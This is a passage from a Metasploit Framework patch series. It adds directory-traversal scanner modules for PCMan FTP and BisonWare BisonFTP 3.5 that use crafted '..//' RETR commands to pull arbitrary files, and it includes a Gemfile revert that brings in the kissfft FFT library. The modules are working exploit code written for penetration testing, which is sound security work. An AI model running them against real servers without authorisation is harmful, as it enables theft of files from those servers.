::Timeout::Error, ::Errno::EPIPE + + ensure + data_disconnect + disconnect + end + end +end From bf362be0a44cabcee3935ccdfdca8df84da43fb9 Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Sun, 8 Nov 2015 13:17:57 +0800 Subject: [PATCH 1120/2172] Update pcman_ftp_traversal.rb --- modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb b/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb index 22fb9f8db9..e0e78f3a0b 100644 --- a/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb +++ b/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb @@ -62,11 +62,11 @@ class Metasploit3 < Msf::Auxiliary retr_cmd = ( "..//" * 32 ) + "#{file_path}" res = send_cmd( ["RETR", retr_cmd]) - # read the file data from the socker that we opened + # read the file data from the socket that we opened response_data = sock.read(1024) if response_data.length == 0 or ! (res =~ /^150/ ) - print_status("File (#{file_path})from #{rhost} : #{rport} is empty...") + print_status("File (#{file_path})from #{peer} is empty...") return end From bb78025dde5f1254f6d66bf7047ba530662b4f6c Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Sun, 8 Nov 2015 13:27:45 +0800 Subject: [PATCH 1121/2172] Update pcman_ftp_traversal.rb --- modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb b/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb index e0e78f3a0b..8596d5b372 100644 --- a/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb +++ b/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb @@ -22,7 +22,7 @@ class Metasploit3 < Msf::Auxiliary 'Platform' => 'win', 'Author' => [ - 'Jay Turla <@shipcod3>', # msf + 'Jay Turla <@shipcod3>', # msf and initial discovery 'James Fitts', # initial discovery 'Brad Wolfe' # brad.wolfe[at]gmail.com ], From be85e85d4040f97c340ac6d1418196b6f485307d Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Sun, 8 Nov 2015 13:34:10 +0800 Subject: [PATCH 1122/2172] Create bison_ftp_traversal.rb --- .../scanner/ftp/bison_ftp_traversal.rb | 90 +++++++++++++++++++ 1 file changed, 90 insertions(+) create mode 100644 modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb diff --git a/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb b/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb new file mode 100644 index 0000000000..fbad3607cc --- /dev/null +++ b/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb @@ -0,0 +1,90 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::Ftp + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'BisonWare BisonFTP Server Directory Traversal Information Disclosure', + 'Description' => %q{ + This module exploits a directory traversal vulnerability found in BisonWare BisonFTP server + version 3.5. This vulnerability allows an attacker to download arbitrary files from the server + by crafting a RETR command including file system traversal strings such as '..//.' + }, + 'Platform' => 'win', + 'Author' => + [ + 'Jay Turla <@shipcod3>', # msf and initial discovery + 'James Fitts', + 'Brad Wolfe' #brad.wolfe[at]gmail.com + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'EDB', '38341'], + [ 'CVE', '2015-7602'] + ], + 'DisclosureDate' => 'Sep 28 2015')) + + register_options( + [ + OptString.new('PATH', [ true, "Path to the file to disclose, releative to the root dir.", 'boot.ini']) + ], self.class) + + end + + def check + connect + disconnect + if (banner =~ /BisonWare BisonFTP server product V3.5/) + return Exploit::CheckCode::Vulnerable + else + return Exploit::CheckCode::Safe + end + end + + def run_host(target_host) + begin + connect_login + sock = data_connect + + file_path = datastore['PATH'] + file = ::File.basename(file_path) + + # make RETR request and store server response message... + retr_cmd = ( "..//" * 32 ) + "#{file_path}" + res = send_cmd( ["RETR", retr_cmd]) + + # read the file data from the socket that we opened + response_data = sock.read(1024) + + if response_data.length == 0 + print_status("File (#{file_path})from #{peer} is empty...") + return + end + + # store file data to loot + loot_file = store_loot("bisonware.ftp.data", "text",rhost,response_data, file, file_path) + print_status("Stored #{file_path} to #{loot_file}") + + # Read and print the data from the loot file. + info_disclosure = IO.read(loot_file) + print_status("Printing contents of #{file_path}") + print_good("Result:\n #{info_disclosure}") + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + rescue ::Timeout::Error, ::Errno::EPIPE + ensure + data_disconnect + disconnect + end + end +end From f60f2336e35c58e9a2cf75e5a9c04d99fea33a4b Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Sun, 8 Nov 2015 13:39:32 +0800 Subject: [PATCH 1123/2172] Update bison_ftp_traversal.rb --- modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb b/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb index fbad3607cc..7ea13b8a7e 100644 --- a/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb +++ b/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb @@ -72,7 +72,7 @@ class Metasploit3 < Msf::Auxiliary end # store file data to loot - loot_file = store_loot("bisonware.ftp.data", "text",rhost,response_data, file, file_path) + loot_file = store_loot("bisonware.ftp.data", "text", rhost, response_data, file, file_path) print_status("Stored #{file_path} to #{loot_file}") # Read and print the data from the loot file. From e019aa12a0f68dbbdce7637be8eec632c7a31082 Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Sun, 8 Nov 2015 13:40:23 +0800 Subject: [PATCH 1124/2172] Update pcman_ftp_traversal.rb --- modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb b/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb index 8596d5b372..f6faffaf9d 100644 --- a/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb +++ b/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb @@ -71,7 +71,7 @@ class Metasploit3 < Msf::Auxiliary end # store file data to loot - loot_file = store_loot("pcman.ftp.data", "text",rhost,response_data, file, file_path) + loot_file = store_loot("pcman.ftp.data", "text", rhost, response_data, file, file_path) print_status("Stored #{file_path} to #{loot_file}") # Read and print the data from the loot file. From e6202e3edaf21feeb453d21cd69d2bd8799d9382 Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Sun, 8 Nov 2015 19:32:15 -0600 Subject: [PATCH 1125/2172] Revert "Land #6060, Gemfile/gemspec updates" This reverts commit 8f4046da4007520230c3393a0556a4d18a01b505, reversing changes made to 2df149b0a564f05a8b7b5d9d3b9d405ae0cf2da6. --- Gemfile | 8 + Gemfile.lock | 18 +- external/ruby-kissfft/Gemfile | 2 + external/ruby-kissfft/LICENSE | 30 ++ external/ruby-kissfft/Rakefile | 1 + .../ruby-kissfft/ext/kissfft/_kiss_fft_guts.h | 164 +++++++ external/ruby-kissfft/ext/kissfft/extconf.rb | 5 + external/ruby-kissfft/ext/kissfft/kiss_fft.c | 408 ++++++++++++++++++ external/ruby-kissfft/ext/kissfft/kiss_fft.h | 124 ++++++ external/ruby-kissfft/ext/kissfft/kiss_fftr.c | 159 +++++++ external/ruby-kissfft/ext/kissfft/kiss_fftr.h | 46 ++ external/ruby-kissfft/ext/kissfft/main.c | 155 +++++++ external/ruby-kissfft/kissfft.gemspec | 16 + external/ruby-kissfft/tests/sample.data | Bin 0 -> 129440 bytes external/ruby-kissfft/tests/test_kissfft.rb | 47 ++ metasploit-framework-db.gemspec | 39 ++ metasploit-framework-full.gemspec | 36 ++ metasploit-framework-pcap.gemspec | 35 ++ metasploit-framework.gemspec | 13 +- 19 files changed, 1288 insertions(+), 18 deletions(-) create mode 100755 external/ruby-kissfft/Gemfile create mode 100644 external/ruby-kissfft/LICENSE create mode 100755 external/ruby-kissfft/Rakefile create mode 100644 external/ruby-kissfft/ext/kissfft/_kiss_fft_guts.h create mode 100644 external/ruby-kissfft/ext/kissfft/extconf.rb create mode 100644 external/ruby-kissfft/ext/kissfft/kiss_fft.c create mode 100644 external/ruby-kissfft/ext/kissfft/kiss_fft.h create mode 100644 external/ruby-kissfft/ext/kissfft/kiss_fftr.c create mode 100644 external/ruby-kissfft/ext/kissfft/kiss_fftr.h create mode 100644 external/ruby-kissfft/ext/kissfft/main.c create mode 100644 external/ruby-kissfft/kissfft.gemspec create mode 100644 external/ruby-kissfft/tests/sample.data create mode 100755 external/ruby-kissfft/tests/test_kissfft.rb create mode 100644 metasploit-framework-db.gemspec create mode 100644 metasploit-framework-full.gemspec create mode 100644 metasploit-framework-pcap.gemspec diff --git a/Gemfile b/Gemfile index 1f4033d229..225cadb5e1 100755 --- a/Gemfile +++ b/Gemfile @@ -11,6 +11,10 @@ group :coverage do gem 'simplecov' end +group :db do + gemspec name: 'metasploit-framework-db' +end + group :development do # Markdown formatting for yard gem 'redcarpet' @@ -34,6 +38,10 @@ group :development, :test do gem 'rspec-rails' , '>= 2.12', '< 3.0.0' end +group :pcap do + gemspec name: 'metasploit-framework-pcap' +end + group :test do # cucumber extension for testing command line applications, like msfconsole gem 'aruba' diff --git a/Gemfile.lock b/Gemfile.lock index 72c39f577a..c4b48a1c70 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -3,7 +3,6 @@ PATH specs: metasploit-framework (4.11.5) actionpack (>= 4.0.9, < 4.1.0) - activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) bcrypt filesize @@ -11,16 +10,11 @@ PATH json metasm (~> 1.0.2) metasploit-concern (= 1.0.0) - metasploit-credential (= 1.0.1) metasploit-model (= 1.0.0) metasploit-payloads (= 1.0.16) - metasploit_data_models (= 1.2.9) msgpack - network_interface (~> 0.0.1) nokogiri packetfu (= 1.1.11) - pcaprub - pg (>= 0.11) railties rb-readline-r7 recog (= 2.0.14) @@ -28,6 +22,16 @@ PATH rubyzip (~> 1.1) sqlite3 tzinfo + metasploit-framework-db (4.11.5) + activerecord (>= 4.0.9, < 4.1.0) + metasploit-credential (= 1.0.1) + metasploit-framework (= 4.11.5) + metasploit_data_models (= 1.2.9) + pg (>= 0.11) + metasploit-framework-pcap (4.11.5) + metasploit-framework (= 4.11.5) + network_interface (~> 0.0.1) + pcaprub GEM remote: https://rubygems.org/ @@ -238,6 +242,8 @@ DEPENDENCIES factory_girl_rails (~> 4.5.0) fivemat (= 1.2.1) metasploit-framework! + metasploit-framework-db! + metasploit-framework-pcap! pry rake (>= 10.0.0) redcarpet diff --git a/external/ruby-kissfft/Gemfile b/external/ruby-kissfft/Gemfile new file mode 100755 index 0000000000..1aa98e4b2e --- /dev/null +++ b/external/ruby-kissfft/Gemfile @@ -0,0 +1,2 @@ +source "http://rubygems.org" +gemspec diff --git a/external/ruby-kissfft/LICENSE b/external/ruby-kissfft/LICENSE new file mode 100644 index 0000000000..3ec3bcf60f --- /dev/null +++ b/external/ruby-kissfft/LICENSE @@ -0,0 +1,30 @@ +Kiss FFT library +================== + + +Copyright (c) 2003-2010 Mark Borgerding + +All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: + + * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. + * Neither the author nor the names of any contributors may be used to endorse or promote products derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +Ruby wrapper layer +================== + +Copyright (C) 2009-2012 H D Moore < hdm[at]rapid7.com > + +All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: + + * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. + * Neither the author nor the names of any contributors may be used to endorse or promote products derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/external/ruby-kissfft/Rakefile b/external/ruby-kissfft/Rakefile new file mode 100755 index 0000000000..29955274e0 --- /dev/null +++ b/external/ruby-kissfft/Rakefile @@ -0,0 +1 @@ +require "bundler/gem_tasks" diff --git a/external/ruby-kissfft/ext/kissfft/_kiss_fft_guts.h b/external/ruby-kissfft/ext/kissfft/_kiss_fft_guts.h new file mode 100644 index 0000000000..ba66144403 --- /dev/null +++ b/external/ruby-kissfft/ext/kissfft/_kiss_fft_guts.h @@ -0,0 +1,164 @@ +/* +Copyright (c) 2003-2010, Mark Borgerding + +All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: + + * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. + * Neither the author nor the names of any contributors may be used to endorse or promote products derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +*/ + +/* kiss_fft.h + defines kiss_fft_scalar as either short or a float type + and defines + typedef struct { kiss_fft_scalar r; kiss_fft_scalar i; }kiss_fft_cpx; */ +#include "kiss_fft.h" +#include <limits.h> + +#define MAXFACTORS 32 +/* e.g. an fft of length 128 has 4 factors + as far as kissfft is concerned + 4*4*4*2 + */ + +struct kiss_fft_state{ + int nfft; + int inverse; + int factors[2*MAXFACTORS]; + kiss_fft_cpx twiddles[1]; +}; + +/* + Explanation of macros dealing with complex math: + + C_MUL(m,a,b) : m = a*b + C_FIXDIV( c , div ) : if a fixed point impl., c /= div. noop otherwise + C_SUB( res, a,b) : res = a - b + C_SUBFROM( res , a) : res -= a + C_ADDTO( res , a) : res += a + * */ +#ifdef FIXED_POINT +#if (FIXED_POINT==32) +# define FRACBITS 31 +# define SAMPPROD int64_t +#define SAMP_MAX 2147483647 +#else +# define FRACBITS 15 +# define SAMPPROD int32_t +#define SAMP_MAX 32767 +#endif + +#define SAMP_MIN -SAMP_MAX + +#if defined(CHECK_OVERFLOW) +# define CHECK_OVERFLOW_OP(a,op,b) \ + if ( (SAMPPROD)(a) op (SAMPPROD)(b) > SAMP_MAX || (SAMPPROD)(a) op (SAMPPROD)(b) < SAMP_MIN ) { \ + fprintf(stderr,"WARNING:overflow @ " __FILE__ "(%d): (%d " #op" %d) = %ld\n",__LINE__,(a),(b),(SAMPPROD)(a) op (SAMPPROD)(b) ); } +#endif + + +# define smul(a,b) ( (SAMPPROD)(a)*(b) ) +# define sround( x ) (kiss_fft_scalar)( ( (x) + (1<<(FRACBITS-1)) ) >> FRACBITS ) + +# define S_MUL(a,b) sround( smul(a,b) ) + +# define C_MUL(m,a,b) \ + do{ (m).r = sround( smul((a).r,(b).r) - smul((a).i,(b).i) ); \ + (m).i = sround( smul((a).r,(b).i) + smul((a).i,(b).r) ); }while(0) + +# define DIVSCALAR(x,k) \ + (x) = sround( smul( x, SAMP_MAX/k ) ) + +# define C_FIXDIV(c,div) \ + do { DIVSCALAR( (c).r , div); \ + DIVSCALAR( (c).i , div); }while (0) + +# define C_MULBYSCALAR( c, s ) \ + do{ (c).r = sround( smul( (c).r , s ) ) ;\ + (c).i = sround( smul( (c).i , s ) ) ; }while(0) + +#else /* not FIXED_POINT*/ + +# define S_MUL(a,b) ( (a)*(b) ) +#define C_MUL(m,a,b) \ + do{ (m).r = (a).r*(b).r - (a).i*(b).i;\ + (m).i = (a).r*(b).i + (a).i*(b).r; }while(0) +# define C_FIXDIV(c,div) /* NOOP */ +# define C_MULBYSCALAR( c, s ) \ + do{ (c).r *= (s);\ + (c).i *= (s); }while(0) +#endif + +#ifndef CHECK_OVERFLOW_OP +# define CHECK_OVERFLOW_OP(a,op,b) /* noop */ +#endif + +#define C_ADD( res, a,b)\ + do { \ + CHECK_OVERFLOW_OP((a).r,+,(b).r)\ + CHECK_OVERFLOW_OP((a).i,+,(b).i)\ + (res).r=(a).r+(b).r; (res).i=(a).i+(b).i; \ + }while(0) +#define C_SUB( res, a,b)\ + do { \ + CHECK_OVERFLOW_OP((a).r,-,(b).r)\ + CHECK_OVERFLOW_OP((a).i,-,(b).i)\ + (res).r=(a).r-(b).r; (res).i=(a).i-(b).i; \ + }while(0) +#define C_ADDTO( res , a)\ + do { \ + CHECK_OVERFLOW_OP((res).r,+,(a).r)\ + CHECK_OVERFLOW_OP((res).i,+,(a).i)\ + (res).r += (a).r; (res).i += (a).i;\ + }while(0) + +#define C_SUBFROM( res , a)\ + do {\ + CHECK_OVERFLOW_OP((res).r,-,(a).r)\ + CHECK_OVERFLOW_OP((res).i,-,(a).i)\ + (res).r -= (a).r; (res).i -= (a).i; \ + }while(0) + + +#ifdef FIXED_POINT +# define KISS_FFT_COS(phase) floor(.5+SAMP_MAX * cos (phase)) +# define KISS_FFT_SIN(phase) floor(.5+SAMP_MAX * sin (phase)) +# define HALF_OF(x) ((x)>>1) +#elif defined(USE_SIMD) +# define KISS_FFT_COS(phase) _mm_set1_ps( cos(phase) ) +# define KISS_FFT_SIN(phase) _mm_set1_ps( sin(phase) ) +# define HALF_OF(x) ((x)*_mm_set1_ps(.5)) +#else +# define KISS_FFT_COS(phase) (kiss_fft_scalar) cos(phase) +# define KISS_FFT_SIN(phase) (kiss_fft_scalar) sin(phase) +# define HALF_OF(x) ((x)*.5) +#endif + +#define kf_cexp(x,phase) \ + do{ \ + (x)->r = KISS_FFT_COS(phase);\ + (x)->i = KISS_FFT_SIN(phase);\ + }while(0) + + +/* a debugging function */ +#define pcpx(c)\ + fprintf(stderr,"%g + %gi\n",(double)((c)->r),(double)((c)->i) ) + + +#ifdef KISS_FFT_USE_ALLOCA +// define this to allow use of alloca instead of malloc for temporary buffers +// Temporary buffers are used in two case: +// 1. FFT sizes that have "bad" factors. i.e. not 2,3 and 5 +// 2. "in-place" FFTs. Notice the quotes, since kissfft does not really do an in-place transform. +#include <alloca.h> +#define KISS_FFT_TMP_ALLOC(nbytes) alloca(nbytes) +#define KISS_FFT_TMP_FREE(ptr) +#else +#define KISS_FFT_TMP_ALLOC(nbytes) KISS_FFT_MALLOC(nbytes) +#define KISS_FFT_TMP_FREE(ptr) KISS_FFT_FREE(ptr) +#endif diff --git a/external/ruby-kissfft/ext/kissfft/extconf.rb b/external/ruby-kissfft/ext/kissfft/extconf.rb new file mode 100644 index 0000000000..df58ac43f7 --- /dev/null +++ b/external/ruby-kissfft/ext/kissfft/extconf.rb @@ -0,0 +1,5 @@ +require 'mkmf' + +if(have_library("m")) + create_makefile("kissfft") +end diff --git a/external/ruby-kissfft/ext/kissfft/kiss_fft.c b/external/ruby-kissfft/ext/kissfft/kiss_fft.c new file mode 100644 index 0000000000..465d6c97a0 --- /dev/null +++ b/external/ruby-kissfft/ext/kissfft/kiss_fft.c @@ -0,0 +1,408 @@ +/* +Copyright (c) 2003-2010, Mark Borgerding + +All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: + + * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. + * Neither the author nor the names of any contributors may be used to endorse or promote products derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +*/ + + +#include "_kiss_fft_guts.h" +/* The guts header contains all the multiplication and addition macros that are defined for + fixed or floating point complex numbers. It also delares the kf_ internal functions. + */ + +static void kf_bfly2( + kiss_fft_cpx * Fout, + const size_t fstride, + const kiss_fft_cfg st, + int m + ) +{ + kiss_fft_cpx * Fout2; + kiss_fft_cpx * tw1 = st->twiddles; + kiss_fft_cpx t; + Fout2 = Fout + m; + do{ + C_FIXDIV(*Fout,2); C_FIXDIV(*Fout2,2); + + C_MUL (t, *Fout2 , *tw1); + tw1 += fstride; + C_SUB( *Fout2 , *Fout , t ); + C_ADDTO( *Fout , t ); + ++Fout2; + ++Fout; + }while (--m); +} + +static void kf_bfly4( + kiss_fft_cpx * Fout, + const size_t fstride, + const kiss_fft_cfg st, + const size_t m + ) +{ + kiss_fft_cpx *tw1,*tw2,*tw3; + kiss_fft_cpx scratch[6]; + size_t k=m; + const size_t m2=2*m; + const size_t m3=3*m; + + + tw3 = tw2 = tw1 = st->twiddles; + + do { + C_FIXDIV(*Fout,4); C_FIXDIV(Fout[m],4); C_FIXDIV(Fout[m2],4); C_FIXDIV(Fout[m3],4); + + C_MUL(scratch[0],Fout[m] , *tw1 ); + C_MUL(scratch[1],Fout[m2] , *tw2 ); + C_MUL(scratch[2],Fout[m3] , *tw3 ); + + C_SUB( scratch[5] , *Fout, scratch[1] ); + C_ADDTO(*Fout, scratch[1]); + C_ADD( scratch[3] , scratch[0] , scratch[2] ); + C_SUB( scratch[4] , scratch[0] , scratch[2] ); + C_SUB( Fout[m2], *Fout, scratch[3] ); + tw1 += fstride; + tw2 += fstride*2; + tw3 += fstride*3; + C_ADDTO( *Fout , scratch[3] ); + + if(st->inverse) { + Fout[m].r = scratch[5].r - scratch[4].i; + Fout[m].i = scratch[5].i + scratch[4].r; + Fout[m3].r = scratch[5].r + scratch[4].i; + Fout[m3].i = scratch[5].i - scratch[4].r; + }else{ + Fout[m].r = scratch[5].r + scratch[4].i; + Fout[m].i = scratch[5].i - scratch[4].r; + Fout[m3].r = scratch[5].r - scratch[4].i; + Fout[m3].i = scratch[5].i + scratch[4].r; + } + ++Fout; + }while(--k); +} + +static void kf_bfly3( + kiss_fft_cpx * Fout, + const size_t fstride, + const kiss_fft_cfg st, + size_t m + ) +{ + size_t k=m; + const size_t m2 = 2*m; + kiss_fft_cpx *tw1,*tw2; + kiss_fft_cpx scratch[5]; + kiss_fft_cpx epi3; + epi3 = st->twiddles[fstride*m]; + + tw1=tw2=st->twiddles; + + do{ + C_FIXDIV(*Fout,3); C_FIXDIV(Fout[m],3); C_FIXDIV(Fout[m2],3); + + C_MUL(scratch[1],Fout[m] , *tw1); + C_MUL(scratch[2],Fout[m2] , *tw2); + + C_ADD(scratch[3],scratch[1],scratch[2]); + C_SUB(scratch[0],scratch[1],scratch[2]); + tw1 += fstride; + tw2 += fstride*2; + + Fout[m].r = Fout->r - HALF_OF(scratch[3].r); + Fout[m].i = Fout->i - HALF_OF(scratch[3].i); + + C_MULBYSCALAR( scratch[0] , epi3.i ); + + C_ADDTO(*Fout,scratch[3]); + + Fout[m2].r = Fout[m].r + scratch[0].i; + Fout[m2].i = Fout[m].i - scratch[0].r; + + Fout[m].r -= scratch[0].i; + Fout[m].i += scratch[0].r; + + ++Fout; + }while(--k); +} + +static void kf_bfly5( + kiss_fft_cpx * Fout, + const size_t fstride, + const kiss_fft_cfg st, + int m + ) +{ + kiss_fft_cpx *Fout0,*Fout1,*Fout2,*Fout3,*Fout4; + int u; + kiss_fft_cpx scratch[13]; + kiss_fft_cpx * twiddles = st->twiddles; + kiss_fft_cpx *tw; + kiss_fft_cpx ya,yb; + ya = twiddles[fstride*m]; + yb = twiddles[fstride*2*m]; + + Fout0=Fout; + Fout1=Fout0+m; + Fout2=Fout0+2*m; + Fout3=Fout0+3*m; + Fout4=Fout0+4*m; + + tw=st->twiddles; + for ( u=0; u<m; ++u ) { + C_FIXDIV( *Fout0,5); C_FIXDIV( *Fout1,5); C_FIXDIV( *Fout2,5); C_FIXDIV( *Fout3,5); C_FIXDIV( *Fout4,5); + scratch[0] = *Fout0; + + C_MUL(scratch[1] ,*Fout1, tw[u*fstride]); + C_MUL(scratch[2] ,*Fout2, tw[2*u*fstride]); + C_MUL(scratch[3] ,*Fout3, tw[3*u*fstride]); + C_MUL(scratch[4] ,*Fout4, tw[4*u*fstride]); + + C_ADD( scratch[7],scratch[1],scratch[4]); + C_SUB( scratch[10],scratch[1],scratch[4]); + C_ADD( scratch[8],scratch[2],scratch[3]); + C_SUB( scratch[9],scratch[2],scratch[3]); + + Fout0->r += scratch[7].r + scratch[8].r; + Fout0->i += scratch[7].i + scratch[8].i; + + scratch[5].r = scratch[0].r + S_MUL(scratch[7].r,ya.r) + S_MUL(scratch[8].r,yb.r); + scratch[5].i = scratch[0].i + S_MUL(scratch[7].i,ya.r) + S_MUL(scratch[8].i,yb.r); + + scratch[6].r = S_MUL(scratch[10].i,ya.i) + S_MUL(scratch[9].i,yb.i); + scratch[6].i = -S_MUL(scratch[10].r,ya.i) - S_MUL(scratch[9].r,yb.i); + + C_SUB(*Fout1,scratch[5],scratch[6]); + C_ADD(*Fout4,scratch[5],scratch[6]); + + scratch[11].r = scratch[0].r + S_MUL(scratch[7].r,yb.r) + S_MUL(scratch[8].r,ya.r); + scratch[11].i = scratch[0].i + S_MUL(scratch[7].i,yb.r) + S_MUL(scratch[8].i,ya.r); + scratch[12].r = - S_MUL(scratch[10].i,yb.i) + S_MUL(scratch[9].i,ya.i); + scratch[12].i = S_MUL(scratch[10].r,yb.i) - S_MUL(scratch[9].r,ya.i); + + C_ADD(*Fout2,scratch[11],scratch[12]); + C_SUB(*Fout3,scratch[11],scratch[12]); + + ++Fout0;++Fout1;++Fout2;++Fout3;++Fout4; + } +} + +/* perform the butterfly for one stage of a mixed radix FFT */ +static void 